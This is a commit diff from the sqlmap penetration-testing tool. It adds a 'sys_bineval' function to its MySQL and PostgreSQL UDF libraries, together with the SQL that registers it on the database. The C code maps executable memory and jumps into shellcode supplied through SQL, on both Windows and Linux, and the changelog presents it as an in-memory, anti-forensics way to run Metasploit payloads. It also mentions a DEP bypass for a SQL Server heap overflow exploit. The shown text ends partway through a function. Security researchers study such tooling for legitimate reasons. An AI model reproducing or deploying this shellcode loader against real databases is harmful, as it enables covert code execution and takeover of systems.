mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
parent
458d59416c
commit
89c43893d4
|
@ -1,3 +1,26 @@
|
|||
sqlmap (0.8-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||
DEP memory protection.
|
||||
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||
option instead of uploading the standalone payload stager executable.
|
||||
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||
read/add/delete Windows registry keys.
|
||||
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||
functions.
|
||||
* Added support for --first and --last so the user now has even more
|
||||
granularity in what to enumerate in the query output.
|
||||
* Minor enhancement to save the session by default in
|
||||
'output/hostname/session' file if -s option is not specified.
|
||||
* Minor improvement to automatically remove sqlmap created temporary
|
||||
files from the DBMS underlying file system.
|
||||
* Minor bugs fixed.
|
||||
* Major code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> DAY, DD MMM 20YY 10:00:00 +0000
|
||||
|
||||
sqlmap (0.7-1) stable; urgency=low
|
||||
|
||||
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||
|
|
16
doc/THANKS
16
doc/THANKS
|
@ -20,7 +20,7 @@ Cesar Cerrudo <cesar@argeniss.com>
|
|||
sqlmap tree as a contrib library and used to run the stand-alone
|
||||
payload stager on the target Windows machine as SYSTEM user if the
|
||||
user wants to perform a privilege escalation attack,
|
||||
http://www.argeniss.com/research/Churrasco.zip
|
||||
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||
|
||||
Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
|
@ -50,6 +50,11 @@ Dan Guido <dguido@gmail.com>
|
|||
Adam Faheem <faheem.adam@is.co.za>
|
||||
for reporting a few bugs
|
||||
|
||||
James Fisher <www@sittinglittleduck.com>
|
||||
for providing me with two very good feature requests
|
||||
for his great tool too brute force directories and files names on
|
||||
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||
|
||||
Jim Forster <jimforster@goldenwest.com>
|
||||
for reporting a bug
|
||||
|
||||
|
@ -70,6 +75,7 @@ Ivan Giacomelli <truemilk@insiberia.net>
|
|||
for reviewing the documentation
|
||||
|
||||
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||
for reporting a bug
|
||||
for providing me with a minor patch
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
|
@ -108,10 +114,13 @@ Nicolas Krassas <krasn@ans.gr>
|
|||
for reporting a bug
|
||||
|
||||
Guido Landi <lists@keamera.org>
|
||||
for reporting a couple of bugs
|
||||
for the great technical discussions
|
||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
|
||||
(MS09-004) exploit development
|
||||
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||
on September 21, 2009
|
||||
|
||||
Lee Lawson <Lee.Lawson@dns.co.uk>
|
||||
for reporting a minor bug
|
||||
|
@ -153,6 +162,9 @@ John F. Reiser <sales@bitwagon.com>
|
|||
Antonio Parata <s4tan@ictsc.it>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Adrian Pastor <ap@gnucitizen.org>
|
||||
for donating to sqlmap development
|
||||
|
||||
Chris Patten <cpatten@sunera.com>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
|
|
|
@ -3,4 +3,4 @@ LIBDIR=/usr/lib
|
|||
install:
|
||||
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
||||
strip -sx so/lib_mysqludf_sys.so
|
||||
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
|
|
|
@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
|||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
|
|
Binary file not shown.
|
@ -23,6 +23,9 @@
|
|||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
|
@ -191,6 +194,33 @@ char* sys_eval(
|
|||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
|
@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
|||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -250,10 +282,12 @@ my_bool sys_get_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -305,6 +339,7 @@ my_bool sys_set_init(
|
|||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
@ -312,6 +347,7 @@ void sys_set_deinit(
|
|||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -422,5 +462,90 @@ char* sys_eval(
|
|||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
Binary file not shown.
|
@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
|||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
|
|
|
@ -23,6 +23,9 @@
|
|||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
|
@ -191,6 +194,33 @@ char* sys_eval(
|
|||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
|
@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
|||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -250,10 +282,12 @@ my_bool sys_get_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -305,6 +339,7 @@ my_bool sys_set_init(
|
|||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
@ -312,6 +347,7 @@ void sys_set_deinit(
|
|||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
|||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
|
@ -422,5 +462,90 @@ char* sys_eval(
|
|||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
|
@ -19,6 +19,8 @@
|
|||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
#PORT="5433"
|
||||
#VERSION="8.2"
|
||||
PORT="5432"
|
||||
VERSION="8.3"
|
||||
USER="postgres"
|
||||
|
|
|
@ -21,3 +21,4 @@
|
|||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -25,14 +25,23 @@
|
|||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
|
|
@ -25,14 +25,23 @@
|
|||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -21,3 +21,4 @@
|
|||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
|
|
@ -25,14 +25,23 @@
|
|||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
